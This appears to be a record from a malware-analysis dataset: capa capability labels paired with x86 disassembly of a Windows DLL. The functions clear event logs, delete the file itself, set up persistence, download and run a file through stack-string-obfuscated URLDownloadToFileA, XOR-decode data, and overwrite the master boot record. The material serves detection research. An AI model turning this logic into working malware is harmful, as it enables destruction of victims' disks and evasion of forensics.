joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100048e2
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
movzx eax, byte [ebp + 8]
dec eax
mov dword [ebp - 0xc], str.Application
mov dword [ebp - 8], str.Security
mov dword [ebp - 4], str.System
jne 0x10004936
push ebx
push esi
push edi
push 3
lea edi, [ebp - 0xc]
pop ebx
push dword [edi]
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov esi, eax
test esi, esi
je 0x1000492d
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
add edi, 4
dec ebx
jne 0x1000490d
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10004996
Capabilities:
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push edi
push 0x100
call dword [0x1001a40c]
push eax
call dword [0x1001a388]
push 0xf
call dword [0x1001a370]
push eax
call dword [0x1001a38c]
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
mov byte [ebp - 0x108], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x108]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call dword [0x1001a36c]
push eax
push ebx
push 0x1f0fff
call dword [0x1001a380]
lea ecx, [ebp - 4]
mov dword [ebp - 4], 0x104
push ecx
lea ecx, [ebp - 0x108]
push ecx
push ebx
push eax
call dword [0x1001a390]
lea eax, [ebp - 0x108]
push 0x80
push eax
call dword [0x1001a3a0]
lea eax, [ebp - 0x108]
push ebx
push eax
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x218]
push str._c_del__q__s
push eax
call dword [0x1001a424]
add esp, 0xc
lea eax, [ebp - 0x218]
push ebx
push ebx
push eax
push 0x10018010
push str.open
push ebx
call dword [0x1001a4e0]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x10004a7d
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c4
cmp dword [0x1001a528], 2
push esi
jne 0x10004aa0
push 0x1001a52c
call fcn.100032b8
pop ecx
jmp 0x10004b43
push ebx
push edi
push 8
mov esi, str.SYSTEMCurrentControlSetServices
pop ecx
lea edi, [ebp - 0x2c]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 4]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor eax, eax
push ecx
push 0xf003f
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
push eax
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x2c]
mov edi, SysReAllocString
push eax
push edi
call ebx
xor eax, eax
push 2
push eax
push eax
push eax
lea eax, [ebp - 0x2c]
push 0x1001a52c
push eax
push edi
call fcn.1000c55c
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
add esp, 0x1c
push 0x10018044
push dword [ebp - 4]
call esi
push 0x1001804c
push dword [ebp - 4]
call esi
push 0x10018054
push dword [ebp - 4]
call esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x10018060
push edi
call ebx
push 0x10018090
push dword [ebp - 8]
call esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop ebx
xor esi, esi
lea eax, [ebp - 0x130]
push esi
push 0x1c
push eax
push esi
call dword [0x1001a4dc]
lea eax, [ebp - 0x130]
push eax
call dword [0x1001a4e8]
test eax, eax
je 0x10004b90
lea eax, [ebp - 0x130]
push 0x10018098
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x130]
push 0x1001a274
push eax
call sub.MSVCRT.dll_strcat
push 0x1001809c
jmp 0x10004bc4
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripToRootA]
lea eax, [ebp - 0x130]
push 0x100180a4
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x130]
push 0x1001a274
push eax
call sub.MSVCRT.dll_strcat
push 0x100180b0
lea eax, [ebp - 0x130]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
lea eax, [ebp - 0x130]
push eax
call dword [0x1001a358]
call fcn.10004996
lea eax, [ebp - 0x1c4]
mov dword [ebp - 0x1c4], 0x94
push eax
call dword [0x1001a3ec]
cmp dword [ebp - 0x1b4], 2
jne 0x10004c18
cmp dword [ebp - 0x1c0], 6
jb 0x10004c18
mov dword [0x1001a6d0], 1
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x10004e1f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x374
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x20c
lea eax, [ebp - 0x374]
push esi
push eax
call dword [0x1001a498]
add esp, 0xc
xor ebx, ebx
xor eax, eax
lea edi, [ebp - 0x167]
push 0x59
mov byte [ebp - 0x168], bl
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 2
push ebx
stosb byte es:[edi], al
push 1
lea eax, [ebp - 0x268]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10004e9c
lea eax, [ebp + 8]
push ebx
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffdf4
add esi, 0x20c
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10004ea3
xor eax, eax
jmp 0x10004f2a
push edi
call dword [0x1001a3c0]
lea eax, [ebp - 0x36c]
push eax
call dword [0x1001a494]
test eax, eax
pop ecx
je 0x10004ee1
lea eax, [ebp - 0x36c]
push eax
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 0x168]
push str._s__s
push eax
call dword [0x1001a424]
add esp, 0x10
jmp 0x10004ef5
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x370]
sub eax, ebx
je 0x10004f17
dec eax
je 0x10004f14
dec eax
dec eax
jne 0x10004f27
lea eax, [ebp - 0x168]
push eax
call fcn.10004a7d
jmp 0x10004f26
push ebx
jmp 0x10004f19
push 5
lea eax, [ebp - 0x168]
push eax
call fcn.10004c20
pop ecx
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10004f2f
Capabilities:
Enumerate processes

Disassembly:
mov eax, 0x10011096
call fcn.1000c7ac
sub esp, 0x12c
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 2
mov dword [ebp - 4], ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [ebp - 0x138]
push eax
push edi
mov dword [ebp - 0x138], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x10004f75
or dword [ebp - 4], 0xffffffff
jmp 0x10005041
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::MakeLower
lea eax, [ebp - 0x138]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
or esi, 0xffffffff
test eax, eax
je 0x10005035
lea eax, [ebp - 0x114]
lea ecx, [ebp - 0x10]
push eax
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::MakeLower
lea ecx, [ebp + 8]
call fcn.10003c20
push eax
lea ecx, [ebp - 0x10]
call fcn.10007af6
test eax, eax
je 0x10004fe8
push esi
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::ReleaseBuffer
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call fcn.1000c738
lea eax, [ebp - 0x138]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
jmp 0x10004f8d
push dword [ebp - 0x130]
push ebx
push 1
call dword [0x1001a380]
mov edi, eax
push ebx
push edi
call dword [0x1001a37c]
push edi
call dword [0x1001a3c0]
push esi
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::ReleaseBuffer
push esi
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::ReleaseBuffer
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call fcn.1000c738
lea ecx, [ebp + 8]
mov dword [ebp - 4], esi
call fcn.1000c738
push 1
pop eax
jmp 0x1000504b
push esi
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::ReleaseBuffer
mov dword [ebp - 4], esi
lea ecx, [ebp + 8]
call fcn.1000c738
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x1000505a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0x20c
lea eax, [ebp - 0x410]
push edi
push eax
call dword [0x1001a498]
add esp, 0xc
xor esi, esi
lea eax, [ebp - 0x204]
push esi
push 0x2e
push eax
push esi
call dword [0x1001a4dc]
lea eax, [ebp - 0x204]
push eax
call dword [0x1001a4f0]
lea eax, [ebp - 0x204]
push str.SVP7.exe
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x204]
pop ecx
push esi
push esi
push 2
push esi
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x100050f2
lea eax, [ebp + 8]
push esi
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffdf4
add edi, 0x20c
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x100050f9
xor eax, eax
jmp 0x1000517a
push ebx
call dword [0x1001a3c0]
push esi
lea eax, [ebp - 0x104]
push 0x2e
push eax
push esi
call dword [0x1001a4dc]
lea eax, [ebp - 0x104]
push eax
call dword [0x1001a4f0]
lea eax, [ebp - 0x104]
push 0x10018100
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x104]
pop ecx
push eax
call dword [0x1001a4e8]
test eax, eax
je 0x10005177
lea eax, [ebp - 0x104]
push 5
push eax
call fcn.10004c20
pop ecx
test al, al
pop ecx
je 0x10005177
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push ecx
mov ecx, esp
mov dword [ebp + 0xc], esp
push 0x10018108
call sub.MFC42.DLL_CString::CString
call fcn.10004f2f
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000517f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0x20c
lea eax, [ebp - 0x30c]
push edi
push eax
call dword [0x1001a498]
add esp, 0xc
xor esi, esi
lea eax, [ebp - 0x100]
push esi
push 0x2e
push eax
push esi
call dword [0x1001a4dc]
lea eax, [ebp - 0x100]
push eax
call dword [0x1001a4f0]
lea eax, [ebp - 0x100]
push str.uac.exe
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x100]
pop ecx
push esi
push esi
push 2
push esi
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10005217
lea eax, [ebp + 8]
push esi
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffdf4
add edi, 0x20c
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1000521b
xor eax, eax
jmp 0x10005225
push ebx
call dword [0x1001a3c0]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100054dc
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x354
push ebx
push esi
push edi
mov esi, 0x104
xor edi, edi
push esi
lea eax, [ebp - 0x160]
push edi
push eax
mov dword [ebp - 8], esi
call sub.MSVCRT.dll_memset
push 0x2e
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 0x14
cmp eax, edi
je 0x100055a2
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push edi
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100055a2
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x160]
push eax
push edi
push dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
call edi
push dword [ebp - 4]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call ebx
push 0x1f4
lea eax, [ebp - 0x354]
push 0
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0x354]
push str._s_shellopencommand
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0x354]
push 0
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x100055a9
xor al, al
jmp 0x10005669
push esi
lea eax, [ebp - 0x160]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
xor esi, esi
push eax
lea eax, [ebp - 0x160]
push eax
push esi
push dword [ebp - 4]
call edi
push dword [ebp - 4]
call ebx
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea eax, [ebp - 0x160]
push 0x10018174
push eax
call edi
pop ecx
cmp eax, esi
pop ecx
jne 0x10005626
lea eax, [ebp - 0x160]
push 0x10018178
push eax
call edi
pop ecx
cmp eax, esi
pop ecx
jne 0x10005626
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x160]
push 0x1001817c
push eax
call edi
push dword [ebp + 8]
lea eax, [ebp - 0x160]
push eax
call edi
jmp 0x10005630
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], esi
pop ecx
lea edi, [ebp - 0x58]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x5c], 0x44
je 0x1000564d
mov dword [ebp - 0x54], str.WinSta0Default
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x160]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000566e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
push ebx
push esi
push dword [ebp + 8]
call dword [0x1001a494]
xor ebx, ebx
pop ecx
cmp eax, ebx
je 0x100057ea
lea esi, [eax + 1]
push esi
call dword [sym.imp.MSVCRT.dll_malloc]
push esi
mov dword [ebp - 0x24], eax
push dword [ebp + 8]
push eax
call dword [0x1001a498]
push 0x2f
push dword [ebp - 0x24]
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 0x18
inc esi
je 0x100057ea
push edi
push 0x7f
pop ecx
xor eax, eax
lea edi, [ebp - 0x223]
mov byte [ebp - 0x224], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push ebx
lea eax, [ebp - 0x328]
push 0x2e
push eax
push ebx
call dword [0x1001a4dc]
lea eax, [ebp - 0x328]
push 0x10018190
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x328]
push esi
push eax
lea eax, [ebp - 0x224]
push eax
call dword [0x1001a424]
add esp, 0x14
lea eax, [ebp - 0x20]
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0xb], 0x72
push eax
lea eax, [ebp - 0xc]
push eax
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x6d
mov byte [ebp - 8], 0x6f
mov byte [ebp - 7], 0x6e
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x64
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], bl
mov byte [ebp - 0x20], 0x55
mov byte [ebp - 0x1f], 0x52
mov byte [ebp - 0x1e], 0x4c
mov byte [ebp - 0x1d], 0x44
mov byte [ebp - 0x1c], 0x6f
mov byte [ebp - 0x1b], 0x77
mov byte [ebp - 0x1a], 0x6e
mov byte [ebp - 0x19], 0x6c
mov byte [ebp - 0x18], 0x6f
mov byte [ebp - 0x17], 0x61
mov byte [ebp - 0x16], 0x64
mov byte [ebp - 0x15], 0x54
mov byte [ebp - 0x14], 0x6f
mov byte [ebp - 0x13], 0x46
mov byte [ebp - 0x12], 0x69
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x41
mov byte [ebp - 0xe], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
lea ecx, [ebp - 0x224]
push ebx
push ecx
push dword [ebp - 0x24]
push ebx
call eax
cmp eax, ebx
pop edi
jne 0x100057ea
lea eax, [ebp - 0x224]
push eax
call fcn.1000c6f5
test eax, eax
pop ecx
je 0x100057ea
push 5
push ebx
lea eax, [ebp - 0x224]
push ebx
push eax
push ebx
push ebx
call dword [0x1001a4e0]
cmp eax, 0x20
ja 0x100057e5
lea eax, [ebp - 0x224]
push 5
push eax
call fcn.100054dc
pop ecx
pop ecx
push 1
pop eax
jmp 0x100057ec
xor eax, eax
pop esi
pop ebx
leave
ret 4
Function at 0x10006031
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
mov eax, 0x100111cb
call fcn.1000c7ac
sub esp, 0x194
and dword [ebp - 0x10], 0
push esi
push 1
lea eax, [ebp - 0x1a0]
pop esi
push eax
push 0x202
mov dword [ebp - 4], esi
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea ecx, [ebp + 0xc]
call fcn.10003c20
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov ecx, dword [ebp + 8]
push eax
call sub.MFC42.DLL_CString::CString
mov dword [ebp - 0x10], esi
and byte [ebp - 4], 0
lea ecx, [ebp + 0xc]
call fcn.1000c738
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x100060a2
Capabilities:
Delete directory

Disassembly:
mov eax, 0x100111f5
call fcn.1000c7ac
sub esp, 0x28
push esi
and dword [ebp - 4], 0
lea ecx, [ebp - 0x34]
call sub.MFC42.DLL_CFileFind::CFileFind
lea eax, [ebp + 8]
push str.__.
push eax
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 4], 1
call sub.MFC42.DLL_operator
push 0
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.10003c20
push eax
lea ecx, [ebp - 0x34]
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
je 0x10006153
lea ecx, [ebp - 0x34]
call sub.MFC42.DLL_CFileFind::FindNextFileA
lea ecx, [ebp - 0x34]
mov esi, eax
call sub.MFC42.DLL_CFileFind::IsDots
test eax, eax
jne 0x1000614f
lea ecx, [ebp - 0x34]
call fcn.10007b1c
test eax, eax
je 0x10006126
push ecx
lea ecx, [ebp - 0x34]
mov eax, esp
mov dword [ebp - 0x18], esp
push eax
call sub.MFC42.DLL_CFileFind::GetFilePath
call fcn.100060a2
pop ecx
jmp 0x1000614f
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x34]
push eax
call sub.MFC42.DLL_CFileFind::GetFilePath
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.10003c20
push eax
call sub.MFC42.DLL_CFile::Remove
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call fcn.1000c738
test esi, esi
jne 0x100060ed
lea ecx, [ebp - 0x34]
call sub.MFC42.DLL_CFileFind::Close
lea ecx, [ebp + 8]
call fcn.10003c20
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea ecx, [ebp - 0x10]
mov esi, eax
mov byte [ebp - 4], 1
call fcn.1000c738
and byte [ebp - 4], 0
lea ecx, [ebp - 0x34]
call fcn.1000c768
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.1000c738
mov ecx, dword [ebp - 0xc]
mov eax, esi
mov dword fs:[0], ecx
pop esi
leave
ret

Function at 0x1000676f
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x100067d4
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x100067cd
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x100067c8
lea eax, [ebp - 0x128]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
jmp 0x100067a0
push 1
pop eax
jmp 0x100067d6
push esi
call dword [0x1001a3c0]
xor eax, eax
pop esi
leave
ret
Function at 0x10006b73
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push ebx
push esi
push edi
lea eax, [ebp - 0x118]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, 0x10018540
lea edi, [ebp - 0x14]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x14]
push 0x92
push eax
movsb byte es:[edi], byte [esi]
call dword [0x1001a494]
pop ecx
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10001e15
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x14
lea eax, [ebp - 0x14]
push ebx
push ebx
push eax
push str.cmd.exe
push ebx
push ebx
call dword [0x1001a4e0]
neg eax
sbb eax, eax
inc eax
cmp eax, 0x20
jg 0x10006bf4
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10006c6a
Capabilities:
Overwrite master boot record (mbr)
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push ebx
push edi
push 0x7f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x203]
mov byte [ebp - 0x204], bl
rep stosd dword es:[edi], eax
cmp dword [ebp + 8], ebx
stosw word es:[edi], ax
stosb byte es:[edi], al
je 0x10006c96
push 0x18
jmp 0x10006c98
push 1
lea eax, [ebp - 0x204]
push 0x100179d8
push eax
call dword [0x1001a498]
add esp, 0xc
mov byte [ebp - 6], 0x55
mov byte [ebp - 5], 0xaa
push ebx
push ebx
push 3
push ebx
push 3
push 0xc0000000
push str..PHYSICALDRIVE0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
or eax, 0xffffffff
cmp edi, eax
je 0x10006d59
push esi
lea eax, [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push ebx
push eax
push ebx
push ebx
push ebx
push ebx
push 0x90018
push edi
call esi
lea eax, [ebp - 4]
push ebx
push eax
lea eax, [ebp - 0x204]
push 0x200
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp + 8]
push ebx
push eax
push ebx
push ebx
push ebx
push ebx
push 0x9001c
push edi
call esi
push edi
call dword [0x1001a3c0]
push 0x7d0
call dword [0x1001a3c4]
call dword [0x1001a3a8]
cmp eax, 0x80000000
pop esi
jae 0x10006d48
push 1
push str.SeShutdownPrivilege
call fcn.10006bf9
pop ecx
pop ecx
push ebx
push 6
call dword [0x1001a428]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop ebx
leave
ret

Function at 0x10006f36
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp byte [ebp - 0x190], 2
jne 0x10006f6b
xor eax, eax
mov al, byte [ebp - 0x18f]
cmp al, 2
jne 0x10006f6b
push 1
pop eax
leave
ret
xor eax, eax
leave
ret
Function at 0x10007bfe
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
xor ebx, ebx
push edi
push ebx
lea eax, [ebp - 0x110]
push 0x1c
push eax
mov dword [ebp - 0xc], ecx
push ebx
xor edi, edi
mov dword [ebp - 8], ebx
call dword [0x1001a4dc]
lea eax, [ebp - 0x110]
push eax
call dword [0x1001a4e8]
test eax, eax
je 0x10007c5e
lea eax, [ebp - 0x110]
push 0x100188ac
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x110]
push 0x1001a274
push eax
call sub.MSVCRT.dll_strcat
push 0x100188b0
jmp 0x10007c92
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripToRootA]
lea eax, [ebp - 0x110]
push 0x100188b8
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x110]
push 0x1001a274
push eax
call sub.MSVCRT.dll_strcat
push 0x100188c4
lea eax, [ebp - 0x110]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
lea eax, [ebp - 0x110]
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x10007d0d
push esi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MFC42.DLL_operatornew
pop ecx
mov esi, eax
lea eax, [ebp - 8]
push ebx
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp edi, ebx
jbe 0x10007cf9
xor byte [eax + esi], 0x62
inc eax
cmp eax, edi
jb 0x10007cf0
mov ecx, dword [ebp - 0xc]
push edi
push esi
call fcn.10007bb3
push esi
mov edi, eax
call sub.MFC42.DLL_operatordelete
pop ecx
pop esi
push dword [ebp - 4]
call dword [0x1001a3c0]
mov eax, edi
pop edi
pop ebx
leave
ret